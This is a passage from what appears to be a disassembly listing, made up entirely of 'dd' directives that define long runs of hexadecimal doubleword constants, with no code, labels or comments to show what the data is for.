160053C8h, 0BE4C50A8h dd 7658491h, 0D5A569DAh, 0C0D01D21h, 190020C5h, 9A3C8A6Eh dd 4F8BB684h, 3A0E8B7h, 361DC272h, 220EA145h, 748E4h, 91D0B55Ch dd 0B75F83DFh, 0D1D79A00h, 1884A33h, 0F5FA0085h, 184DA37Bh dd 0C5006F50h, 0DDF679B2h, 0F3647330h, 4C78CF8h, 0F1BCCFC6h dd 0CA0C806Eh, 1E04FAD1h, 72133F4Dh, 0A45943C0h, 73F53F05h dd 8C80F43Ch, 0CE3AAC19h, 3F07D4AAh, 251F9218h, 23661A60h dd 0D7740030h, 4E11A4F6h, 35018793h, 0B8F33945h, 65C8D0BAh dd 1BEEA53h, 18A904F7h, 6048BC9Eh, 0E0001AC6h, 81E16456h dd 1E1F2725h, 80576F4Dh, 4D11D71h, 90E8100Ch, 0B3EB9200h dd 91F8A1FDh, 0DC260083h, 0FACABE17h, 8CA093E7h, 0A5004939h dd 0A7CD9AFh, 88BACBh, 139C3816h, 36F7375Ch, 4B434703h dd 0D0728FA8h, 0F912F76h, 0F9A34D9Ah, 0ADA142CFh, 7004D62Eh dd 0BE00E382h, 88DFF5C1h, 27AAEBh, 0AE2A55C5h, 328D78BCh dd 40953Bh, 5C317DF6h, 199B9D6h, 1CD18B48h, 0C8183966h dd 0DC077F43h, 0CDBDA957h, 0B0E45EE0h, 0D34D1DBEh, 8DB88E8Ch dd 605BC8A3h, 7DA4EEC0h, 8A5F3500h, 5CA7DB9Ch, 81360725h dd 0F0DE8872h, 271E3321h, 731F4100h, 5BC32B45h, 88A0034h dd 0B5CFFA70h, 7F030BF5h, 2ED1A150h, 0A5F6809Ah, 0D4EAAAh dd 0B4326989h, 0AE3C1811h, 3B022B00h, 8C01E5DEh, 873F0072h dd 19BAED2Eh, 0FE002F69h, 8A80185Ch, 4099527h, 16BF5956h dd 0BA61C02Dh, 9314B558h, 9CAC71ABh, 7B1C5039h, 570A88h dd 7DA7A344h, 0D3ED0FFBh, 0AEAA0700h, 503E8BF8h, 65CE0010h dd 0CD2BF3DDh, 69FC2FE6h, 280010D3h, 5B43F681h, 0D9050072h dd 605C89BBh, 7413DA1Fh, 0C601F54Dh, 8B781E25h, 8D517080h dd 0BCEF8401h, 13D5F3Eh, 0AB8EFFFDh, 0E88330A9h, 9359285Ch dd 0BFA1BE01h, 109644D0h, 0C083C9F1h, 0DF4EA348h, 53B02BDBh dd 643A5E28h, 4D988316h, 0F83F8405h, 0F8A8F373h, 0AFEC0036h dd 2F2B2159h, 0FF003E1Dh, 0C9480BEDh, 1D6109B2h, 0EE2AD56Bh dd 84860F9Bh, 0AB02ABD2h, 0C039FB41h, 96EEF53h, 0A19DAD8Fh dd 0DDD0B301h, 0A509DC68h, 78CA4C03h, 539CE5Ch, 0C39B2DE0h dd 0B5F8C1AFh, 0F1A5D075h, 81E95700h, 4C7D27DFh, 0A608006Ch dd 0B277DAB8h, 0B61C9A01h, 0CC4F44AEh, 78AFC06Dh, 3B7307B7h dd 4C801CF6h, 307AA897h, 3300EC32h, 0EDE65F37h, 0F97239h dd 0F65DAB9Fh, 0D899096Fh, 0F14A511Dh, 0E020D600h, 413C6Bh dd 7EC5E15Dh, 37F6E5BFh, 0C3827427h, 0E719A8B5h, 90C2028Ch dd 22324A68h, 8BA021E3h, 0A207DE66h, 12BA485Fh, 0B790FA57h dd 3D0A4BFDh, 540392DAh, 75B6F341h, 716F3190h, 0C7E0AA00h dd 0A7B9DBE2h, 633A0753h, 607EBD5Eh, 0DFA1BF48h, 0B5189400h dd 0BB504D03h, 0BC1C00AEh, 19CBFA0Ch, 97362B7h, 7241EF00h dd 0A4A51E66h, 0DF900Ah, 1A79A88Ch, 19071BADh, 678C01Ch dd 0B100946Ah, 35D699AEh, 0F2BBC37Ch, 592F0EE4h, 72E0FB12h dd 26543A5Bh, 0F3144400h, 75EA2381h, 49793924h, 0A808DE80h dd 6C31542Ah, 0B23C8672h, 3D7B00FDh, 0DCD4B751h, 286907FCh dd 80D3D6CCh, 0BB4E473Ah, 4B3CC600h, 1D851B1Ah, 9D0E0059h dd 8EEFADDh, 28138288h, 5800BF27h, 16219B3h, 0AE8E6h, 355852EEh dd 0A0637267h, 0D0C9F500h, 82FED4Fh, 6BA40305h, 0C417AA20h dd 3C60FBD2h, 7200F971h, 6816639Dh, 2049F7Ch, 3281DA62h dd 9440CEDCh, 0F008D77h, 163B4341h, 774CB111h, 5CBC249Bh dd 604A0EEBh, 1090F020h, 98004EDFh, 0ED50C5B2h, 0E77EAAh dd 2248FAB0h, 0D7DD826Eh, 0EEC81A60h, 92FD117Fh, 0AB5700F0h dd 0E859BECBh, 0DA901992h, 1B2631FCh, 0A3802C76h, 0C7967385h dd 40F70032h, 0EEC4F3D9h, 150B4AC9h, 828CED25h, 602BE953h dd 71E1C88h, 5495F932h, 75E8C11Bh, 81FA2103h, 2399B640h dd 518001FCh, 0B9DC2958h, 13B8BA94h, 4B2E8000h, 78756A6Ch dd 0A9CF6068h, 1774D44Ch, 0D0396900h, 0CA166693h, 8CDE48F5h dd 0BE3D0980h, 709088BBh, 0C91FF000h, 0D2177168h, 0B89D006Bh dd 2914FB7Fh, 0A600DD21h, 0FA88674Ch, 320C2BFh, 0E864547Bh dd 800024E2h, 0A4DFD44Ah, 50D0CBBh, 0F377A2E7h, 7BC8008Ch dd 49102B53h, 0A700B7EEh, 7992EBF5h, 0F330851h, 63774F3Eh dd 0AB8ED849h, 0E8FF120h, 0F3160523h, 2800595Ah, 0A2D9FE3Fh dd 0A5B70008h, 4714A722h, 6428332Eh, 520FA48Ch, 40A3B40Ah dd 0F25ACF98h, 3C5C7EEDh, 7502B7ABh, 0B48A0B2h, 0C790A8h dd 0CB431BF4h, 0F0001E38h, 2C42A853h, 0FE27646h, 4C4E72B9h dd 62F5DCE0h, 6B0C0637h, 905815A6h, 27C50F22h, 64D4889Fh dd 0E3FBE900h, 41E8F3D6h, 2582C800h, 17C18C9Bh, 388B000Dh dd 0F676F60h, 360004F8h, 0AB8D3B46h, 0C0969CC7h, 0B2C9298h dd 0E6017B0Dh, 5A167E40h, 3BEDAFEEh, 148F6D4h, 105B63CFh dd 8089ACA8h, 1E58539Ah, 7B31A46h, 0BD067478h, 0B43A4Bh dd 0C9FC3237h, 77057B79h, 475787EFh, 96467040h, 0FACE844Fh dd 78FEF6B4h, 137300C2h, 0BCFC0355h, 60FED5E1h, 0A00E801Dh dd 0BD4BEC40h, 0A47841Bh, 7A8EF729h, 0C6E90E94h, 0D28CC560h dd 8A01D69Ch, 6180593Dh, 0F0705A43h, 36B0C8h, 233AE03Fh dd 1FF8AC3Ch, 7C2E8A0Eh, 0A927A06Ch, 1742972Fh, 1DADCEDEh dd 0DADF02FDh, 90C4D382h, 46CB7C00h, 0A1F85743h, 0AF01001Ah dd 31A32DC1h, 0F7005BA8h, 9DD4634h, 593A17h, 7207116Eh dd 93664244h, 5E4CE400h, 0B2F7CDFh, 0C978D4h, 5950F736h dd 0E016213Dh, 53AD0F00h, 1511FEACh, 25C007F3h, 0D05EB2B8h dd 0EC1E764Fh, 0C7461028h, 3BBF3509h, 0B1ED0064h dd 0B79E7Bh, 504BF532h, 6E959A74h, 0D4C3CC00h, 38EC536Dh dd 8B1300CDh, 11F5A8C2h, 0A6036128h, 33EAFF97h, 682BB807h dd 0D3E26Ch, 5650A0B5h, 0DD9C1A90h, 0C2FFA700h, 446E85AFh dd 0B682009Eh, 26F206DCh, 0A002026Bh, 3677C215h, 982CE08Ah dd 2C20E5B4h, 3C2F52A1h, 0B5D1F704h, 8F1E80D3h, 0E6F27CB7h dd 0CC0DE400h, 8B22B8C4h, 0ED341756h, 9CB40266h, 60E0A0ABh dd 0B40F362Ah, 0A0D7CBBEh, 0C8CD48DEh, 22020338h, 166B1CD8h dd 4E24C7D8h, 39AA0C3Fh, 90D98F05h, 93BDC046h, 0D56EA7h dd 0B565F7A1h, 0E4D694C4h, 0B22DE900h, 91BA4199h, 0F64B034Fh dd 95059C50h, 877502F0h, 0FAD43700h, 79C30E09h, 0D1FB09ADh dd 0E80F8B4Ch, 0C5AAF1E0h, 5558DE12h, 734800ACh, 0FEA35DCBh dd 6CFC0188h, 6FAEA933h, 0F1D7F451h, 0EA7439h, 0C68FE96h dd 1C679A30h, 446D5EB0h, 0C0A72089h, 0BA0FDE2Ch, 0EBD2E00h dd 3D4E09E3h, 7B89069h, 6B59F15Bh, 0CA6E6E5Ch, 0CBA3E801h dd 2245D101h, 3A4E00E4h, 0B1DFD029h, 4C9C05FDh, 8066AB53h dd 88BD0DE3h, 8F8B3900h, 892AAC81h, 0E95D246Ch, 0E9100E1h dd 3FBDF0A9h, 0BB30781Dh, 9B659700h, 516E03h, 0DA1EC5CBh dd 1291A246h, 0B99E3300h, 72525995h, 254F1780h, 606200B3h dd 7382EA68h, 0BB010C03h, 0E0FC4DA5h, 0B270BD3Fh, 75FF03Ch dd 0D19B89DEh, 178BF1FDh, 29BC2060h, 34162205h, 9A8719EAh dd 0F77A6710h, 95613893h, 0C9AD0A80h, 196D79BEh, 91FD4502h dd 61F7D1CAh, 32E4D09Ch, 4E400AEh, 0CC765C6Ah, 0D417E082h dd 0F103AD40h, 0F8D3D226h, 767E574Ah, 73843CA9h, 496D6412h dd 6708EFFCh, 9013CF4h, 0A2FB0D19h, 9C27D0ACh, 701B73Eh dd 0FF0C14A3h, 9018C8C1h, 0E5603884h, 0C21218Dh, 0D001FE08h dd 42061047h, 48F4C1F3h, 0BE414895h, 209EE601h, 0F3498D57h dd 0FFB09D83h, 0C600E588h, 7BCEDBA0h, 0A90F347h, 610AB035h dd 327C0054h, 5A7A8845h, 89CC9F14h, 0EA8D0044h, 8AB5CDE1h dd 0E4D02404h, 11630193h, 0E092D439h, 843FD72Dh, 6EA8996Fh dd 9FC44D51h, 0B0151EA3h, 0DC1D55h, 8F2DE853h, 95007303h dd 76241094h, 40342Fh, 2CDA570Ah, 6175910Eh, 0FF77AAC0h dd 9C1C98h, 8B93BF02h, 5406A74Fh, 0FAA45C00h, 0E8C4F9B0h dd 0C61200A9h, 8038C2DAh, 5C006C14h, 8C24C17Dh, 0E8D9F1h dd 0EEEF1AF5h, 74EB6F9Fh, 0B30051E8h, 0AF557027h, 0C500DECh dd 1D05310h, 22867C1h, 24188036h, 3982BE0h, 0B89E634Ch dd 3FF0076Dh, 53016722h, 0F3615E0Ah, 2988316Fh, 4D849FA0h dd 5F08265Dh, 29374C42h, 7A29860Ch, 453B6044h, 1234E901h dd 547C1098h, 104779CEh, 9690716h, 3B80F19Ah, 403E1045h dd 222CF800h, 554E0F3h, 0FE800014h, 0A6CA9793h, 200379Bh dd 0FD5892CBh, 0F37FE8h, 0EE406EBh, 0F13072BFh, 0A9B73201h dd 6BD0C884h, 33876C0h, 36D8CE83h, 0AFA0F7AAh, 0AB3886ACh dd 6E560E39h, 0C6BDE0E9h, 6FCECAh, 4E5AF19Dh, 822141BCh dd 1C061F07h, 0EFE35419h, 0E8A893FBh, 516630h, 2A3F0163h dd 0B39FE8D7h, 54A18D00h, 487DA26Dh, 1DFF2AC4h, 712900CCh dd 0B506CE82h, 6807CF2Eh, 0E5E17799h, 0ACD5C3C0h, 0A8AF4E40h dd 1D5A00E9h, 0DA729BC2h, 90330328h, 0B2FC3764h, 0BF5055C8h dd 80A5473Dh, 0B7C894B3h, 1FC05111h, 180F911Dh, 75467002h dd 0E175B00h, 80B5FA8Fh, 0CB590E79h, 0FF41DD29h, 0D8A3384Dh dd 3B165AE4h, 43028924h, 0C06E57ABh, 2BDE12Dh, 88E4EDC3h dd 90B0C891h, 430030DAh, 4CA5B98Ah, 0D33AD5h, 0BB900BF6h dd 0D6EC2A93h, 1FFB5A1Fh, 0FFFAC3C0h, 0DE307Dh, 6B64581Ch dd 0B5B2537Bh, 40B9C814h, 0A9160080h, 522C4277h, 0FC600DFh dd 1DCD2785h, 0CBEAB906h, 0CB1A600h, 9035ED6Ah, 1418078Ah dd 0F36FD443h, 0C7C89EC2h, 9A163877h, 0CCE0B3B2h, 0FEB714ADh dd 75738812h, 0B51D004Ah, 0CB244548h, 0E10031A2h, 6559036Fh dd 36CA1A3h, 0EC4DFA85h, 0CD89FDEh, 2DE4395Bh, 805F903Dh dd 8CFDD258h, 1377A82h, 0FE6AA923h, 0C834E1F3h, 43012F4Ch dd 0D158AF81h, 89DC8F56h, 0DD2200A3h, 6FCBF50Ah, 0FC0032EAh dd 1C9A7B66h, 71C864AAh, 40901Ah, 0F64DA9E0h, 0AF90B1Bh dd 552BB300h, 0DA190471h, 0A89868h, 384FE120h, 56AF483Eh dd 4C0096B0h, 0AB8F3686h, 6DF73h, 0D13A7D26h, 2DE1687Fh dd 5E56650Eh, 55A540DCh, 56D9136h, 0A25DBCE5h, 2BF80FB1h dd 0EA9813E0h, 121BE822h, 0A35A9707h, 77203DCFh, 9CE71Fh dd 1302303Eh, 0CB00F8D8h, 48902778h, 0F9E717Ah, 0C2145DC0h dd 6E204C07h, 0B6CEC740h, 8C071004h, 3DBAF5BBh, 80A32400h dd 0C17800A0h, 0DEC740AAh, 11FE4F9h, 0B903F3EEh, 740E5D91h dd 7577F0h, 0FECC8EB6h, 0D2B29DE3h, 0FDB9FF00h, 5FAC26DBh dd 0B44B00FAh, 0F0AEED90h, 0C9398D6Dh, 7AD8808Ah, 4FDA4359h dd 0C3A80B56h, 12001F19h, 54952C68h, 48D87100h, 277EE421h dd 0A8D270E0h, 1D38DB0h, 55336651h, 0D8C3BA5Bh, 1B18696Bh dd 0A1BC2612h, 0D420F33Fh, 91770056h, 9D044DB1h, 2E26870Dh dd 0BE0FC090h, 1AB2A1ACh, 982005A8h, 34A90076h, 58D888E5h dd 380471CBh, 0AA734B03h, 0D7898480h, 0DCCF002Ch, 1B25090Bh dd 0EF000AC2h, 352FDF60h, 7F3AA8Ch, 6898319Dh, 85C35051h dd 621622F5h, 491E6h, 30C82D5Dh, 90367A89h, 43B000E4h dd 0A74A4420h, 740F1D11h, 0A0299EB6h, 0F2DA1470h, 6D7B001Bh dd 0FD5D6EA9h, 0FE011AD2h, 0C3A7335Bh, 3030B5DFh, 0FBB8202Ah dd 10FEE5B0h, 0CE4E1701h, 788794D1h, 243D9CD0h, 1CAA21h dd 7C2C79FDh, 0CF00D94Dh, 0E85B6765h, 1F190CD2h, 0C06B4012h dd 0F85275DDh, 0E301CE7Eh, 9B9AB962h, 0E3603EAFh, 0E7442F3Fh dd 56665140h, 19295A00h, 0CE2DA979h, 6D01C12h, 0A7C7C0FBh dd 39DBED91h, 21367400h, 90BAC6B4h, 0EC3A1E22h, 0A28ECE15h dd 4F4D4A21h, 780FD87Ch, 0D3602126h, 2CD3023Ah, 430D1139h dd 7E2AA03Ch, 90F478h, 765A9BAAh, 0D18EBE5Eh, 20DD2700h dd 880AC7B3h, 0F95916C9h, 0F2E90794h, 0BB84804Dh, 260970EBh dd 18D1096h, 72A6935Eh, 2D13C20h, 45D852C0h, 60DFB340h dd 2223648h, 0BC8D4C35h, 79E02746h, 19076B11h, 64BBE23h dd 2F8BC270h, 0F8F60042h, 88C9530Ch, 0D1049CAFh, 0FA0AA4D3h dd 57A0480h, 91B000FBh, 31A1717Ch, 0A2004EB7h, 2D53547Fh dd 2C9ECE4h, 77A66B0h, 0A0807D9Dh, 0E39C68E1h, 79160901h dd 0F8B8231Ah, 0A2332880h, 7D68D69Dh, 0B61C0C1Ah, 42218019h dd 3BE8B43h, 3B2B0E6Bh, 5AC1315Bh, 107070D6h, 5EF0C906h dd 3E8880F5h, 0E503ED21h, 0E628BE14h, 579B2398h, 42ADF612h dd 0EC20F00h, 0D62C834h, 9F120211h, 0C5D3F438h, 8A819512h dd 7F909C03h, 1E42D086h, 62ED09BEh, 93878F07h, 4C6049B4h dd 0B0A4DEDAh, 0B0B7E21Ch, 1C3EF480h, 1571FB9h, 0E17B2861h dd 0C75EC3CDh, 7797EA0h, 0A977FA02h, 40125C85h, 0E27C60h dd 11D64BC4h, 351C1592h, 0C007C8E8h, 9E241749h, 0D906730h dd 0CC4B1216h, 0CFC00E8Eh, 0C39BE160h, 3A008F31h, 5E9A3C17h dd 38A51F6Ah, 0C5007F11h, 4FE964B1h, 0C600ECDCh, 0E58F756Fh dd 0FC12668h, 80871E04h, 49C8A6A0h, 2A01A12Fh, 8D1CDF15h dd 0FF0ED58h, 0DB0600A9h, 0F9DC761Fh, 0BF00E8BDh, 0AA5F7317h dd 5FD9829h, 1C224580h dd 0F880AB4Ch, 3C6CCB8h, 0C3B2F56Eh, 1980CFAAh, 0D400B484h dd 0A509F0D6h, 0B0310C05h, 0A4960953h, 5C802737h, 9F5F6DB2h dd 43FAABE2h, 12A5ED00h, 46F16C3Eh, 917C26C6h, 803B1266h dd 61904FFCh, 0B032932Eh, 0A8E93700h, 0CE8277E2h, 40F35521h dd 5E966FB4h, 0F017FBFEh, 6F03B905h, 0B87F39B8h, 245752h dd 1DD906A8h, 0D1E7EA48h, 1ABEE812h, 893EB200h, 0C392BCh dd 0E933FB0Eh, 876B7360h, 58398F00h, 0F8C1D7FAh, 80B8D0h dd 7B9F0AFBh, 0D871D19h, 50F6BEB0h, 1B13B901h, 42922A6Bh dd 82F424h, 3A7CE28Ah, 77FFBA9Ah, 0F91BE0C0h, 96615Ah dd 0AD3BE023h, 1F4A3EC1h, 0E7702FB0h, 8505D0F6h, 0EEC92144h dd 0B8A84F0h, 0D7A6BD3h, 16C47280h, 0A6023482h, 0E2833D30h dd 68F9E05Dh, 0ACB660DDh, 33148BFh, 4C70F300h, 3A7F6D45h dd 7EA500D9h, 0F22F0295h, 2E738508h, 0E90CF900h, 7AA1F29h dd 24A33026h, 0CBEE7748h, 844E3500h, 0FBE5A591h, 0CC2B001Ah dd 4B8040A0h, 0F07FE2E3h, 0AACBF102h, 0C18C535Ah, 0C4D0EC9Bh dd 0F4DE4DA0h, 8BDF3F74h, 833C9192h, 5200F7C0h, 0C7B0D74Bh dd 0E5B5EAh, 50D9E6E7h, 732485E4h, 125E93Fh, 79BBA48Dh dd 18FCF4BAh, 133417D8h, 0FF9C420Eh, 0B8C61281h, 5D0C1E7Bh dd 708AB173h, 99AB003Fh, 0D8FC12Dh, 19590A67h, 80C93B2Ch dd 61AD261Eh, 1AB0F1Fh, 29852BE5h, 70BE9811h, 8C3AFFD4h dd 6920816Fh, 43071939h, 8AD0A1C7h, 2E00D03Ch, 5D040C47h dd 4E00428Eh, 0B34B6FFh, 0A5EC67h, 0ACCAAB7Ah, 0F510C397h dd 0A6C6780Ch, 3A1A80ADh, 2CA8B6E7h, 0D7901EACh, 0CE807A4Eh dd 0ED307C6Bh, 260444CAh, 0B8FA2A36h, 5A898h, 0F2CFB52Fh dd 9E6AE3D2h, 0D0A19903h, 1ED3B6ECh, 0FD381D30h, 839A1B02h dd 0C4806FE0h, 0B73D8EF2h, 7900D8F8h, 56DA8F20h, 0C72F7DD1h dd 70FD6889h, 76291530h, 89401807h, 0D0856474h, 2E839C40h dd 0F0AD5Bh, 6F637CA9h, 0B523DF7Fh, 7873A30Bh, 6BF480DBh dd 26F618A1h, 8AA8D529h, 8084ABF0h, 7D8F5AD2h, 0CD00943Ah dd 2234DB09h, 3C57BBh, 0A272E7C6h, 13950BCFh, 0FDEDC800h dd 0D02C84D1h, 0B0160C4Eh, 8CF09D8Eh, 0B8000C4Eh, 0CBAA7421h dd 5880F576h, 0F8E55266h, 5D18B2BAh, 8D19C228h, 0EE0B0E0Ah dd 0CC60704Eh, 4AD473AEh, 0D8B44Ch, 936E5855h, 57E87Dh dd 4E123A8Ah, 70602EE4h, 20531730h, 1B878C7h, 0CC6DAE8Ch dd 708A37C1h, 5700AF2Bh, 41075AAh, 3EF91Ch, 1DE45F9Eh dd 0FE61B9DCh, 5457AC00h, 19DD594Dh, 5E7D0064h, 90DA9EF9h dd 9D002A6Dh, 406F8F17h, 1D1E3FDh, 100D9B1Ch, 64E2CC1Ah dd 489CD40Ch, 0AEF27400h, 6019DECBh, 0F3389AE1h, 0A00D5D2h dd 888A4BA8h, 133463Ah, 9FE01144h, 215787D0h, 0C574F850h dd 0AC98F7F2h, 0ABE4130Eh, 3865E112h, 7A206B36h, 2BA90025h dd 47119B60h, 0E8006E0Dh, 3F81E495h, 80D3F3h, 901215DFh dd 0DD3C83C3h, 0F63DF800h, 13EFAB1Bh, 0B17123h, 1CC00C60h dd 0E4C787C2h, 2E2A8460h, 0BCE3B40Dh, 75D101E8h, 242659F7h dd 0AFF49A30h, 56FBD600h, 9EF1A38h, 0BCCB01F5h, 0B3FDD47Ah dd 775C3879h, 9992AC1Fh, 17632901h, 18879CA8h, 0D0518A36h dd 911DBA6Ah, 689CA0ECh, 50E5010h, 0CC217B14h, 0C0EEE20Dh dd 220192FFh, 9F5D7106h, 0C143E04Ah, 5C84CD69h, 4914E800h dd 0A5AD82h, 97A979E7h, 251A4473h, 0B220E900h, 6FC0DEC4h dd 0BDA40082h, 0C2D1E89Ah, 0E9008AD7h, 0B2C4E17Fh, 8679DAh dd 0ACCF8EDh, 0FF71CAF1h, 0A3426500h, 0FBE4254Fh, 1AC800E9h dd 99AD3FDEh, 0F10045F3h, 0BFCBF81Fh, 1B0271h, 3A0F0A0Ch dd 3B1EAAEFh, 0EC896301h, 0A681EEC3h, 5AD2B835h, 0DDC4008Ch dd 9D15FD0h, 0BF3913FCh, 1DB60F2Ah, 114E6045h, 8492C5h dd 8DAFEB9Ch, 4453063Fh, 5C2BB100h, 8C1351A8h, 0A78626BBh dd 7A1700B8h, 0AAB5E02Ah, 0A1EB3700h, 0AE8793EEh, 26D80407h dd 0B05AC988h, 0C094D54h, 6CB72364h, 372EE88h, 0F9EE5ADCh dd 30986E87h, 7D0B68CAh, 3C79A2Bh, 0D48A44BFh, 0F62014F0h dd 0EBB600F0h, 0F94E41D2h, 0AB001324h, 3B7F3A89h, 0C61148h dd 91B8E15Dh, 0D9EBF91Dh, 9841A602h, 0E01B2461h, 393D3C14h dd 34C9E612h, 499AAD00h, 0B9A03F02h, 8A982400h, 274E208Eh dd 0FBD700D2h, 53A9DAEFh, 30E6D1F5h, 28C47600h, 0B132E0F9h dd 61330024h, 0A802938Ch, 8700C03Fh, 364E514Dh, 9C2F27h dd 0BC679231h, 2D1BF535h, 6E009DE4h, 3C56696Ch, 18E1823Eh dd 204D8324h, 0C201B5D7h, 4CE01E6Bh, 6EE0C025h, 0A3C40048h dd 7D6ABBD4h, 5AE03EE4h, 0F000945Bh, 0CF3A1B5Ch, 0A8A702E6h dd 0E430068Ah, 55411A60h, 9C7E48h, 771AC4F3h, 2C350EEBh dd 481B6Fh, 0F0D0B39Fh, 0FA000D16h, 3A3CA654h, 0F6745992h dd 1A8F4CB8h, 0C077F41Dh, 235FE71Fh, 0F731AE22h, 0E589789Bh dd 9124870h, 0A2368003h, 16D01820h, 0B2A6542h, 0BC02B418h dd 3CAD9D66h, 90F87885h, 868D2753h, 372A1C80h, 0E100C82Bh dd 0DD21F43Eh, 983A32A3h, 0FBCF4D8h, 93FDE5AAh, 366AF3A0h dd 8B007387h, 0D3A53716h, 236D5Fh, 0D29A39FDh, 0BF4776B5h dd 0A2E97B00h, 1183F780h, 0B9460FEDh, 0FEA0FDFAh, 6E510D7Eh dd 937F1202h, 80A2882Bh, 0FB48DA94h, 0E64E0E13h, 8BA04B07h dd 6FDFD764h, 0A6003476h, 0B8FCE8A0h, 2F2A97h, 0DC2B7F24h dd 3806B907h, 2C89A900h, 0B331DA8Dh, 64170071h, 0E9D2A574h dd 0E0051A6Ch, 0DD234462h, 2BC9680h, 0DF580057h, 73D06928h dd 6400860Eh, 8E2430FAh, 2BD819h, 0DF7EB102h, 5D9BEAA7h dd 0B9E6C700h, 0E7736676h, 31E76C0h, 70D68182h, 0A0906EF4h dd 3807850Fh, 3F45102Dh, 0FBE69F40h, 0D5BA07CCh, 60948A15h dd 0D824D330h, 415ACD00h, 4F7CE983h, 5B85Ch, 0FD674E3h dd 0C9EE089Dh, 8876F600h, 79441FA9h, 0A7500342h, 4E7C4C23h dd 1B7311B0h, 232CD38h, 890CDF46h, 0F0F540FFh, 61395C8Bh dd 5EA1CE0Eh, 4183407Eh, 78FE9DC9h, 0B0492A00h, 685A170Eh dd 92471DB8h, 98E080EEh, 27D84E8Dh, 0C1C0C0DCh, 9E488976h dd 66F0002Bh, 87884ADDh, 4B0021CFh, 9DAC7E06h, 0B9657Fh dd 0FAF492E6h, 287B0F0Ch, 2D2AB03h, 0A1821FA6h, 19608E6Ch dd 1A2D00BFh, 0BB9D9F32h, 0ED0017C2h, 0D6A955E7h, 7486F9h dd 99DEDC2Ah, 22570E61h, 33AA3402h, 400CF6D5h, 70918E8h dd 0FCB36951h, 0DF3FA0C9h, 0E83D77D9h, 85700D3h, 0A4178723h dd 0B5F804D2h, 8F6BE0E7h, 39D1A200h, 2429FC6Dh, 50ED8403h dd 0D03323C4h, 0DEF7E4h, 0FDCCEB58h, 2CE30A6Bh, 0C6AC4300h dd 7724C793h, 14B10021h, 71D3EE13h, 0F8E91841h, 550F4F36h dd 0A079C5C0h, 40073C30h, 0BE960023h, 4619A837h, 0D90042FEh dd 41E0F588h, 7F775154h, 152600D6h, 1225E391h, 970C3414h dd 0C8E4C1BBh, 841A003Dh, 651BADC6h, 5800DCF9h, 0A9591C9h dd 21623h, 5AAA5EA0h, 0CB57EA69h, 84467F01h, 0BC9A8212h dd 0E233C8h, 0C724DAEBh, 0D7F6C401h, 19EAEC60h, 15BCE32h dd 0D8E94EA8h, 70108697h, 0AB7F6DD5h, 8089553Eh, 6ED13FF5h dd 32E17Dh, 2A995470h, 64B3B9E5h, 1F30150Fh, 4118061h dd 7D5DAEh, 0E6E544BEh, 0B237B5CBh, 81F09F01h, 0B379C9BDh dd 0A5C0ECh, 6504EA9Ah, 6934B2D6h, 22C38000h, 941AFDC6h dd 91A80041h, 245357Ah dd 0B2008167h, 63168858h, 0E9B8E8h, 4BAA38DCh, 6940240Fh dd 3071E513h, 7F606C18h, 456E58BCh, 80C6471Ch, 5BFEDF18h dd 0AA0757C8h, 0A653AEC0h, 3160483h, 33A76B11h, 0DEF8C7DCh dd 1401788Fh, 2FE25654h, 0A7E00B83h, 0C7BFE240h, 10CE3E61h dd 4EA61BAEh, 0C628F6B8h, 42C0FA56h, 0E82CB37Fh, 4E20020h dd 0A76801FBh, 1C0AAF30h, 84928547h, 0C5FDF887h, 60A02896h dd 78FAA866h, 24A079E4h, 927B8AE6h, 5807C67Bh, 0F8834845h dd 40885AC2h, 0C5A526h, 0AF65B878h, 1AB4D5BFh, 0D42EF800h dd 0B262A65Bh, 0EA8C0FE8h, 5C40E56Ch, 2A55F30Ah, 0F500C476h dd 0D4892BFh, 0EE2FCECh, 0F91B99D9h, 0E9663D20h, 0B00502FBh dd 71DDA9C0h, 7A431480h, 9F860028h, 34054E14h, 0FF00C727h dd 12C1742h, 18C353FCh, 0C1515B95h, 39012DABh, 20502F11h dd 30C344BFh, 9121BD08h, 0E4003935h, 193F2DE3h, 0EA4D73A1h dd 0EC1689C4h, 8600F1F9h, 0CB793CC1h, 3E2F51h, 523D354Bh dd 549BC050h, 80C4FA7Ah, 3490C821h, 0D91345h, 0E022EF75h dd 0DD6C67EBh, 0E8CF5012h, 0CB4E9D01h, 2081C52Ch, 77F7B7B3h dd 209CDA2Eh, 0DC437E7Dh, 9785FA3Bh, 2082C34Ch, 10392C78h dd 11582F23h, 349001C8h, 1D659D39h, 0B0DFCDF1h, 11CBB83h dd 0AAC5447Bh, 24BEAC3Dh, 0FF005334h, 0EEE5618Eh, 663C80E7h dd 216B0806h, 8ED77C00h, 0CA5328D2h, 0E6B400FDh, 0AA61A58Fh dd 620D86C2h, 0D0840C47h, 37280C20h, 8988C1D2h, 0AFFB880h dd 60908878h, 747E4D48h, 131E860h, 72AFE83h, 276A524Fh dd 0C9CA141h, 1A9840EEh, 64922940h, 20F24C1Bh, 0EAABA920h dd 0BC054710h, 3E97FF80h, 0A0C9DA3Dh, 2B39103h, 41008ADBh dd 2D11121Fh, 5CA633AFh, 86617C7h, 0C400212Ah, 991D1115h dd 1CF51A65h, 38BC5BA4h, 0AC2D6315h, 643DCB00h, 0A6B6099Dh dd 68720B48h, 0D41138C8h, 2B111480h, 448C23AFh, 2F00C642h dd 0F6615611h, 24A2EDB8h, 5E6C4C7Ch, 8400C346h, 5CD5FE9Ah dd 0B00DE1Ch, 637CE5A4h, 0DE04BE3h, 0C3386222h, 0AF01DCC1h dd 0B9E6D230h, 0ACCFABh, 36BF59FAh, 1A3562DEh, 45D8A118h dd 0B603A9h, 0F85A9AD1h, 1167981Fh, 62BE7901h, 0F9AA23C2h dd 450CF30h, 6433E15Eh, 86085C0h, 5EC02D04h, 217803FFh dd 0E60D870h, 0D0FE76h, 54F46DF2h, 0CA4B094Fh, 0AC88BF29h dd 0F0192A79h, 0EA00356Eh, 3C4D4DCh, 444432C1h, 0EB034CB9h dd 0ED5D5B08h, 0D3A03D6h, 0C476450Ah, 0C44D2029h, 6C60AC7Bh dd 650E3257h, 4002CE27h, 0D125FA34h, 2BAF00DCh, 5D113C82h dd 0D2372904h, 760F9CAh, 318CE041h, 6F787932h, 722B0C44h dd 912F7039h, 330BC000h, 0A83A1439h, 2CD29D45h, 1DD6DB40h dd 16E1C3B0h, 20A9FA6Ah, 7A75E328h, 0A7942554h, 31196160h dd 7AE12857h, 9DDA0084h, 49F5025Dh, 0D830B6DBh, 0F8583124h dd 0FA70190h, 537C52B5h, 0C4CAE954h, 3301FC11h, 0EC764CD1h dd 6423E34Dh, 6330C2A2h, 0EFA61D60h, 471DBDD9h, 0BAE783BCh dd 29005044h, 34F2370Fh, 